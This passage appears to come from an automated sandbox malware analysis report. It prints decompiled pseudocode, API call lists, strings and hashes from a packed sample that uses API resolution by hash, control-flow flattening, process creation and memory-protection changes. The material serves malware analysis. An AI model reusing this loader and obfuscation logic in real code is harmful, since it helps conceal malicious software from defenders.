							_t11 =  *0x3fdf30;
							__eflags = _t11;
							if(_t11 == 0) {
								_t11 = E003F3E60(_t21, E003F3F00(0x9bab0b12), 0x5010a54d, _t53);
								 *0x3fdf30 = _t11;
							}
							return  *_t11(_t48, 0, _t51);
						} else {
							_t55 = _t2 - 0x185e9846;
							if(_t55 > 0) {
								__eflags = _t2 - 0x18843476;
								if(__eflags != 0) {
									goto L21;
								} else {
									E003F7080(_t21, 0x3fd7a0, 4, __eflags);
									_t2 = 0x2eb73d4f;
									continue;
								}
							} else {
								if(_t55 == 0) {
									E003F7080(_t21, 0x3fd8f0, 2, __eflags);
									_t2 = 0x9da2520;
									continue;
								} else {
									if(_t2 == 0x9da2520) {
										E003F7080(_t21, 0x3fd800, 3, __eflags);
										_t2 = 0x18843476;
										continue;
									} else {
										_t57 = _t2 - 0x15a7f569;
										if(_t2 != 0x15a7f569) {
											goto L21;
										} else {
											E003F7080(_t21, 0x3fd860, 0, _t57);
											_t2 = 0x39797244;
											continue;
										}
									}
								}
							}
						}
						L30:
					}
					__eflags = _t2 - 0x2eb73d4f;
					if(__eflags > 0) {
						__eflags = _t2 - 0x39797244;
						if(__eflags != 0) {
							goto L21;
						} else {
							E003F7080(_t21, 0x3fd890, 1, __eflags);
							_t2 = 0x185e9846;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							E003F7080(_t21, 0x3fd7e0, 5, __eflags);
							_t2 = 0x22a44863;
							goto L1;
						} else {
							__eflags = _t2 - 0x22a44863;
							if(__eflags == 0) {
								E003F7080(_t21, 0x3fd8c0, 6, __eflags);
								_t2 = 0x1a8031ec;
								goto L1;
							} else {
								__eflags = _t2 - 0x291da748;
								if(__eflags != 0) {
									goto L21;
								} else {
									_t2 = 0x15a7f569;
									goto L1;
								}
							}
						}
					}
					goto L30;
					L21:
					__eflags = _t2 - 0x21acdd7e;
				} while (__eflags != 0);
				return _t2;
				goto L30;
			}

0x003f7120
0x003f7120
0x003f7120
0x003f7125
0x003f7125
0x003f7125
0x003f7125
0x003f712a
0x00000000
0x00000000
0x003f7130
0x003f723f
0x003f7246
0x003f7248
0x003f7260
0x003f7260
0x003f7266
0x003f7268
0x003f726e
0x003f7271
0x003f7276
0x003f7278
0x003f728b
0x003f7290
0x003f7290
0x003f7297
0x003f7299
0x003f729e
0x003f72a0
0x003f72b3
0x003f72b8
0x003f72b8
0x003f72c5
0x003f7136
0x003f7136
0x003f713b
0x003f7190
0x003f7195
0x00000000
0x003f719b
0x003f71a5
0x003f71aa
0x00000000
0x003f71aa
0x003f713d
0x003f713d
0x003f7184
0x003f7189
0x00000000
0x003f713f
0x003f7144
0x003f716e
0x003f7173
0x00000000
0x003f7146
0x003f7146
0x003f714b
0x00000000
0x003f7151
0x003f7158
0x003f715d
0x00000000
0x003f715d
0x003f714b
0x003f7144
0x003f713d
0x003f713b
0x00000000
0x003f7130
0x003f71b4
0x003f71b9
0x003f7207
0x003f720c
0x00000000
0x003f720e
0x003f7218
0x003f721d
0x00000000
0x003f721d
0x003f71bb
0x003f71bb
0x003f71f8
0x003f71fd
0x00000000
0x003f71bd
0x003f71bd
0x003f71c2
0x003f71df
0x003f71e4
0x00000000
0x003f71c4
0x003f71c4
0x003f71c9
0x00000000
0x003f71cb
0x003f71cb
0x00000000
0x003f71cb
0x003f71c9
0x003f71c2
0x003f71bb
0x00000000
0x003f7227
0x003f7227
0x003f7227
0x003f7232
0x00000000

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,003F68AC), ref: 003F7266

Strings

Dry9, xrefs: 003F7207
Dry9, xrefs: 003F715D

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: Dry9$Dry9
API String ID: 1029625771-121480178
Opcode ID: baf57db966616d2f739d57fae6ee081cbb461133941d055ac0e28b5fbf084249
Instruction ID: 525a276a30f7a05a3be519c598f07ce3c9293d0480ae968b5fea4d1f22422993
Opcode Fuzzy Hash: baf57db966616d2f739d57fae6ee081cbb461133941d055ac0e28b5fbf084249
Instruction Fuzzy Hash: BA31E720B0C20C43EA276FBA589577E11AFDBA0344F21442AF351CF795DD26CD05D396

Uniqueness

Uniqueness Score: -1.00%

Function 003F4B70, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E003F4B70(void* __ebx, WCHAR* __ecx, WCHAR* __edx, void* __ebp, int _a4, intOrPtr _a12) {
				struct _STARTUPINFOW _v72;
				struct _PROCESS_INFORMATION _v88;
				intOrPtr* _t9;
				int _t12;
				intOrPtr* _t15;
				intOrPtr* _t17;
				WCHAR* _t44;
				WCHAR* _t45;

				_t46 = __ebp;
				_t26 = __ebx;
				_t9 =  *0x3fddc0;
				_t45 = __edx;
				_t44 = __ecx;
				if(_t9 == 0) {
					_t9 = E003F3E60(__ebx, E003F3F00(0xc6fbcd74), 0x7e0ae558, __ebp);
					 *0x3fddc0 = _t9;
				}
				 *_t9( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				if( *0x3fe21c == 0) {
					 *0x3fe21c = E003F3E60(_t26, E003F3F00(0x9bab0b12), 0xbd6cc871, _t46);
				}
				_t12 = CreateProcessW(_t44, _t45, 0, 0, _a4, 0, 0, 0,  &_v72,  &_v88); // executed
				if(_t12 == 0) {
					return 0;
				} else {
					if(_a12 == 0) {
						_t15 =  *0x3fde3c;
						if(_t15 == 0) {
							_t15 = E003F3E60(_t26, E003F3F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x3fde3c = _t15;
						}
						 *_t15(_v88.hProcess);
						_t17 =  *0x3fde3c;
						if(_t17 == 0) {
							_t17 = E003F3E60(_t26, E003F3F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x3fde3c = _t17;
						}
						 *_t17(_v88.hProcess);
						return 1;
					} else {
						asm("movdqu xmm0, [esp+0x8]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x003f4b70
0x003f4b70
0x003f4b70
0x003f4b79
0x003f4b7c
0x003f4b80
0x003f4b93
0x003f4b98
0x003f4b98
0x003f4ba6
0x003f4bb0
0x003f4bba
0x003f4bd2
0x003f4bd2
0x003f4bf1
0x003f4bf5
0x003f4c7a
0x003f4bf7
0x003f4bfd
0x003f4c14
0x003f4c1b
0x003f4c2e
0x003f4c33
0x003f4c33
0x003f4c3c
0x003f4c3e
0x003f4c45
0x003f4c58
0x003f4c5d
0x003f4c5d
0x003f4c66
0x003f4c72
0x003f4bff
0x003f4bff
0x003f4c05
0x003f4c13
0x003f4c13
0x003f4bfd

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 003F4BF1

Strings

D, xrefs: 003F4BB0
X~, xrefs: 003F4B8C

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D$X~
API String ID: 963392458-2090554203
Opcode ID: c359135924040fa6db696f2f2e29556807c4b91ea953482987e5f63502774c89
Instruction ID: 09354672ca69f08d80cd05df1ebfa8e5e3775c0afc7c5f33dd4ed38e7b6c6801
Opcode Fuzzy Hash: c359135924040fa6db696f2f2e29556807c4b91ea953482987e5f63502774c89
Instruction Fuzzy Hash: AA219F317403056BEB16AB7ADC41BBB3BAAAFE0704F10442CB654CF2A0FA74CD059751

Uniqueness

Uniqueness Score: -1.00%

Function 003F30A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E003F30A0() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t61;
				intOrPtr* _t62;
				void* _t65;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr _t107;
				intOrPtr* _t116;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				signed int _t134;
				void* _t135;
				void* _t136;

				_t93 =  *((intOrPtr*)(_t135 + 0xc));
				_t61 = 0x11f367c2;
				_t134 =  *(_t135 + 0x10);
				_t129 =  *((intOrPtr*)(_t135 + 0x14));
				_t127 =  *(_t135 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t136 = _t61 - 0x12466c01;
							if(_t136 > 0) {
								break;
							}
							if(_t136 == 0) {
								if(_t93 !=  *(_t135 + 0x18)) {
									L29:
									return 1;
								} else {
									_t61 = 0x2f21cdd2;
									continue;
								}
							} else {
								if(_t61 == 0x7a26146) {
									_t61 =  ==  ? 0x2f21cdd2 : 0x12466c01;
									continue;
								} else {
									if(_t61 == 0x8928514) {
										_t95 =  *0x3fe1cc;
										if(_t95 == 0) {
											_t95 = E003F3E60(_t93, E003F3F00(0x55ab7d30), 0x815a9da3, _t134);
											 *0x3fe1cc = _t95;
										}
										_t129 =  *_t95(_t134 + 0x2c);
										_t61 = 0x39d78901;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t61 != 0x11f367c2) {
											goto L18;
										} else {
											 *(_t135 + 0x18) = 0x2e7c;
											 *(_t135 + 0x18) = 0x3e0f83e1 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 7;
											 *(_t135 + 0x18) = 0x2f149903 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) + 0xffff1475;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) * 0x15;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 2;
											 *(_t135 + 0x18) = 0x22b63cbf *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) ^ 0x8ee7705c;
											 *(_t135 + 0x10) = 0xa461;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) << 0xe;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) * 8 -  *(_t135 + 0x10) << 2;
											_t61 = 0x8928514;
											 *(_t135 + 0x10) = 0x51eb851f *  *(_t135 + 0x10) >> 0x20 >> 3;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) + 0xffffb6ab;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) ^ 0x88f30986;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t61 == 0x2f21cdd2) {
							_t62 =  *0x3fe494;
							if(_t62 == 0) {
								_t62 = E003F3E60(_t93, E003F3F00(0x9bab0b12), 0x7facde30, _t134);
								 *0x3fe494 = _t62;
							}
							_t128 =  *_t62();
							if( *0x3fdd18 == 0) {
								 *0x3fdd18 = E003F3E60(_t93, E003F3F00(0x9bab0b12), 0x9ff0609c, _t134);
							}
							_t65 = RtlAllocateHeap(_t128, 8, 0x24c); // executed
							_t127 = _t65;
							if(_t127 == 0) {
								goto L29;
							} else {
								_t61 = 0x35eaa088;
								goto L1;
							}
						} else {
							if(_t61 == 0x35eaa088) {
								_t116 =  *0x3fe43c;
								if(_t116 == 0) {
									_t116 = E003F3E60(_t93, E003F3F00(0x9bab0b12), 0x2df4d385, _t134);
									 *0x3fe43c = _t116;
								}
								 *_t116(_t127 + 0x3c, _t134 + 0x2c, (_t129 - _t134 - 0x2c >> 1) + 1);
								_t107 =  *((intOrPtr*)(_t135 + 0x1c));
								 *(_t127 + 0x2c) =  *(_t107 + 0x1c);
								 *((intOrPtr*)(_t107 + 0xc)) =  *((intOrPtr*)(_t107 + 0xc)) + 1;
								 *(_t107 + 0x1c) = _t127;
								goto L29;
							} else {
								if(_t61 != 0x39d78901) {
									goto L18;
								} else {
									_t93 = E003F3D00(_t129);
									_t61 = 0x7a26146;
									while(1) {
										L1:
										goto L2;
									}
								}
							}
						}
						goto L30;
						L18:
					} while (_t61 != 0x100ad7b4);
					return 1;
					goto L30;
				}
			}

0x003f30a2
0x003f30a6
0x003f30ac
0x003f30b1
0x003f30b6
0x003f30ba
0x003f30ba
0x003f30c0
0x003f30c0
0x003f30c0
0x003f30c0
0x003f30c5
0x00000000
0x00000000
0x003f30cb
0x003f31f1
0x003f32f9
0x003f3300
0x003f31f7
0x003f31f7
0x00000000
0x003f31f7
0x003f30d1
0x003f30d6
0x003f31e5
0x00000000
0x003f30dc
0x003f30e1
0x003f31a0
0x003f31a8
0x003f31c0
0x003f31c2
0x003f31c2
0x003f31ce
0x003f31d0
0x003f30ba
0x003f30ba
0x00000000
0x003f30ba
0x003f30e7
0x003f30ec
0x00000000
0x003f30f2
0x003f30f2
0x003f310d
0x003f3111
0x003f311f
0x003f3123
0x003f3130
0x003f3139
0x003f3147
0x003f314b
0x003f3153
0x003f315b
0x003f3175
0x003f317f
0x003f3187
0x003f318b
0x003f3193
0x003f30ba
0x003f30ba
0x00000000
0x003f30ba
0x003f30ba
0x003f30ec
0x003f30e1
0x003f30d6
0x00000000
0x003f30cb
0x003f3206
0x003f3245
0x003f324c
0x003f325f
0x003f3264
0x003f3264
0x003f326b
0x003f3274
0x003f328c
0x003f328c
0x003f3299
0x003f329b
0x003f329f
0x00000000
0x003f32a1
0x003f32a1
0x00000000
0x003f32a1
0x003f3208
0x003f320d
0x003f32ab
0x003f32b3
0x003f32cb
0x003f32cd
0x003f32cd
0x003f32e4
0x003f32e6
0x003f32ed
0x003f32f0
0x003f32f3
0x00000000
0x003f3213
0x003f3218
0x00000000
0x003f321a
0x003f3221
0x003f3223
0x003f30ba
0x003f30ba
0x00000000
0x003f30ba
0x003f30ba
0x003f3218
0x003f320d
0x00000000
0x003f322d
0x003f322d
0x003f3242
0x00000000
0x003f3242

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000024C), ref: 003F3299

Strings

|., xrefs: 003F30F2

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |.
API String ID: 1279760036-512043466
Opcode ID: c5d0d8a11311ea563877a72a17589b4754fc9b8aa20d7300f8cd1f373ad8066f
Instruction ID: b45a41e718a714cf0327172100930bb900fc094b0e9994e114a8e249a138ec35
Opcode Fuzzy Hash: c5d0d8a11311ea563877a72a17589b4754fc9b8aa20d7300f8cd1f373ad8066f
Instruction Fuzzy Hash: 4851907160830A8B8719DF6CC48557ABBEAEBD4344F20482EF651CB365DB31DA498792

Uniqueness

Uniqueness Score: -1.00%

Function 003E0580, Relevance: 3.1, APIs: 2, Instructions: 127
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 003E0F08
Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 003E0F3E
Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 003E0F7F

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 003E061B
VirtualProtect.KERNEL32(00000000,-00000018,?,00000000,00000000,00000000,-00000018,00000028,?,?,?,00000000,00000000,?,00000000), ref: 003E069C

Memory Dump Source

Source File: 00000007.00000002.2256690931.00000000003E0000.00000040.00000001.sdmp, Offset: 003E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_tmp_e473b4.jbxd

Similarity

API ID: MemoryMove$ProtectVirtual
String ID:
API String ID: 4043890290-0
Opcode ID: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction ID: ffba8ccbbd9fcb5dec0ba7b2b32c3c26793916692908a94162ee525f51d0a3ed
Opcode Fuzzy Hash: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction Fuzzy Hash: 1C317AB36542A157E3299767DC45BFBA3C4D7D1350F080A3AF904C62C0D1BED5D8C265

Uniqueness

Uniqueness Score: -1.00%

Function 003F5CE0, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t5;
				void* _t9;

				E003F65E0();
				if( *0x3fddb8 == 0) {
					 *0x3fddb8 = E003F3E60(_t5, E003F3F00(0x9bab0b12), 0x89f3d704, _t9);
				}
				ExitProcess(0);
			}

0x003f5ce0
0x003f5cec
0x003f5d04
0x003f5d04
0x003f5d0b

APIs

ExitProcess.KERNELBASE(00000000), ref: 003F5D0B

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 4b9cbb52d200e65bb2084253a5a046b8fbe3cb2d9c355f5fcca5bda765f27969
Instruction ID: 964127c1f92f1587733b1350e424ba07ce296c62fbcbd644b1b80bf2ba2803c0
Opcode Fuzzy Hash: 4b9cbb52d200e65bb2084253a5a046b8fbe3cb2d9c355f5fcca5bda765f27969
Instruction Fuzzy Hash: C5D0C96175420846DA46ABB5584A77A259B4FA0748F104019F215CF2AAEE248910A350

Uniqueness

Uniqueness Score: -1.00%

Function 003E0AD0, Relevance: 2.7, APIs: 2, Instructions: 175
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 003E0F08
Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 003E0F3E
Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 003E0F7F

VirtualAlloc.KERNEL32(?,?,00000000), ref: 003E0BFF

Memory Dump Source

Source File: 00000007.00000002.2256690931.00000000003E0000.00000040.00000001.sdmp, Offset: 003E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_tmp_e473b4.jbxd

Similarity

API ID: MemoryMove$AllocVirtual
String ID:
API String ID: 1654584625-0
Opcode ID: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction ID: 76fb393f45db58fdc3be3246e40eed9638cc4d7e9b08953bb03511972d8a8551
Opcode Fuzzy Hash: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction Fuzzy Hash: B7512470640268ABDB248B55CE45FEAB7B8EF54700F104294FA08BB1D0D6F89DC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402064, Relevance: 1.8, APIs: 1, Instructions: 278COMMON

Download Yara Rule

APIs

#100.MSVBVM60(0040B6A8), ref: 00402069

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: #100
String ID:
API String ID: 1341478452-0
Opcode ID: d4e268cc97b58db7afbd037e22066ed19d30ab43755ea501b5b541365aee3679
Instruction ID: 1c47987104be7645d0cf7a4a22aa43c13d53cea405b34bf9c6b133d2953e3e55
Opcode Fuzzy Hash: d4e268cc97b58db7afbd037e22066ed19d30ab43755ea501b5b541365aee3679
Instruction Fuzzy Hash: 0D810EA244E7D14FC7038B748968691BFB1AE13220B1E42DBC5C1DF1F3D6AD484AC76A

Uniqueness

Uniqueness Score: -1.00%

Function 003F7080, Relevance: 1.5, APIs: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E003F7080(void* __ebx, void* __ecx, signed int __edx, void* __eflags) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t15 = __ebx;
				_t28 = __edx;
				_t30 = E003F34C0(__ecx);
				if( *0x3fdd1c == 0) {
					 *0x3fdd1c = E003F3E60(__ebx, E003F3F00(0x9bab0b12), 0xe4b28d97, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x3fe548; // 0x598118
				 *(_t17 + 0x30 + _t28 * 4) = _t6;
				_t7 =  *0x3fe494;
				if(_t7 == 0) {
					_t7 = E003F3E60(_t15, E003F3F00(0x9bab0b12), 0x7facde30, _t31);
					 *0x3fe494 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x3fdf30;
				if(_t9 == 0) {
					_t9 = E003F3E60(_t15, E003F3F00(0x9bab0b12), 0x5010a54d, _t31);
					 *0x3fdf30 = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x003f7080
0x003f7082
0x003f7089
0x003f7092
0x003f70aa
0x003f70aa
0x003f70b0
0x003f70b2
0x003f70b8
0x003f70bc
0x003f70c3
0x003f70d6
0x003f70db
0x003f70db
0x003f70e2
0x003f70e4
0x003f70eb
0x003f70fe
0x003f7103
0x003f7103
0x003f7110

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,003F721D,003F68AC), ref: 003F70B0

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a6036d3da953af87f96de44acf2077ae74002f5b619abe1e2967873a9adc495d
Instruction ID: 52a00d665ccb20fea9b38826814d8502566607fe692e768658ad40a1f5979e33
Opcode Fuzzy Hash: a6036d3da953af87f96de44acf2077ae74002f5b619abe1e2967873a9adc495d
Instruction Fuzzy Hash: 39014F317243194B9B17AF7A985563E2AAF9FE0788B11002DB519CF269EE34CD01D791

Uniqueness

Uniqueness Score: -1.00%

Function 003E0170, Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 003E0F08
Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 003E0F3E
Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 003E0F7F

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?), ref: 003E02F6

Memory Dump Source

Source File: 00000007.00000002.2256690931.00000000003E0000.00000040.00000001.sdmp, Offset: 003E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_tmp_e473b4.jbxd

Similarity

API ID: MemoryMove$FreeVirtual
String ID:
API String ID: 223123264-0
Opcode ID: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction ID: d8c5d3480e2e5ae356036c3dd45c0d7e47fdce67606a9e74f2ea6c2ec6436ce7
Opcode Fuzzy Hash: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction Fuzzy Hash: 7A513AB19002A8EBDB24DF65DD84BDEB778EF88700F004599E509BB290DBB45E85CF94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041FA20, Relevance: 87.8, APIs: 46, Strings: 4, Instructions: 318COMMON

Download Yara Rule

APIs

__vbaFailedFriend.MSVBVM60(00000000,?,00000000), ref: 0041FA81
__vbaNew.MSVBVM60(00411590,00000000,?,00000000), ref: 0041FA91
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041FA9C
__vbaStrCmp.MSVBVM60(0040F38C,0008000F), ref: 0041FAAE
__vbaHresultCheckObj.MSVBVM60(00000000,00401938,004113E8,00000034), ref: 0041FAD2
__vbaHresultCheckObj.MSVBVM60(00000000,00401938,004113E8,00000034), ref: 0041FB02
__vbaStrCopy.MSVBVM60 ref: 0041FB1E
__vbaStrCopy.MSVBVM60 ref: 0041FB29
__vbaStrCmp.MSVBVM60(0040F38C,?), ref: 0041FB49
__vbaInStr.MSVBVM60(00000000,00411600,?,00000001), ref: 0041FB64
#581.MSVBVM60(?), ref: 0041FB6E
__vbaFpI4.MSVBVM60 ref: 0041FB74
__vbaInStr.MSVBVM60(00000000,00411600,?,00000001,?), ref: 0041FB94
#631.MSVBVM60(?,-00000001), ref: 0041FBA4
__vbaStrMove.MSVBVM60 ref: 0041FBAF
__vbaFreeVar.MSVBVM60 ref: 0041FBB8
__vbaInStr.MSVBVM60(00000000,00411600,?,00000001), ref: 0041FBCB
#581.MSVBVM60(?), ref: 0041FBD5
__vbaFpI4.MSVBVM60 ref: 0041FBDB
__vbaInStr.MSVBVM60(00000000,00411600,?,00000001,?), ref: 0041FBFB
#631.MSVBVM60(?,-00000001), ref: 0041FC0B
__vbaStrMove.MSVBVM60 ref: 0041FC16
__vbaFreeVar.MSVBVM60 ref: 0041FC1F
__vbaStrCmp.MSVBVM60(0040F38C,?), ref: 0041FC30
#581.MSVBVM60(?), ref: 0041FC3E
__vbaFpI4.MSVBVM60 ref: 0041FC44
__vbaStrCopy.MSVBVM60 ref: 0041FC51
__vbaNew.MSVBVM60(0040BAAC), ref: 0041FC5C
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041FC67
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411614,00000028), ref: 0041FC8C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411614,00000030), ref: 0041FCB1
__vbaObjSetAddref.MSVBVM60(?,?), ref: 0041FCD6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411580,00000020), ref: 0041FD14
__vbaCastObj.MSVBVM60(?,00411614), ref: 0041FD23
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041FD2E
__vbaFreeObj.MSVBVM60 ref: 0041FD37
__vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 0041FD4B
__vbaObjSetAddref.MSVBVM60(?,?), ref: 0041FD61
__vbaFreeObj.MSVBVM60(0041FDB9), ref: 0041FDA8
__vbaFreeStr.MSVBVM60 ref: 0041FDAD
__vbaFreeObj.MSVBVM60 ref: 0041FDB6

Strings

5,5,10,10,15,15, xrefs: 0041FB17
10,10,20,20, xrefs: 0041FB0E
@, xrefs: 0041FCF4
10,10,15,15, xrefs: 0041FAE1

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$CheckHresult$#581Copy$#631AddrefMove$CastFailedFriendList
String ID: @$10,10,15,15$10,10,20,20$5,5,10,10,15,15
API String ID: 2647318331-3347459593
Opcode ID: 8bccfc0f73f2096b138939d07a6f7335f976992a7d271db61b2400860999791c
Instruction ID: d7b64355bc1eab8fc6c8e0e34e1b674775aefac8dba8eaecf672c991d6fd1ed2
Opcode Fuzzy Hash: 8bccfc0f73f2096b138939d07a6f7335f976992a7d271db61b2400860999791c
Instruction Fuzzy Hash: F9C12F71A00209EFDB14DFA4DD89AEEBBB9FF48701F10412AE505B7260D774A946CB68

Uniqueness

Uniqueness Score: -1.00%

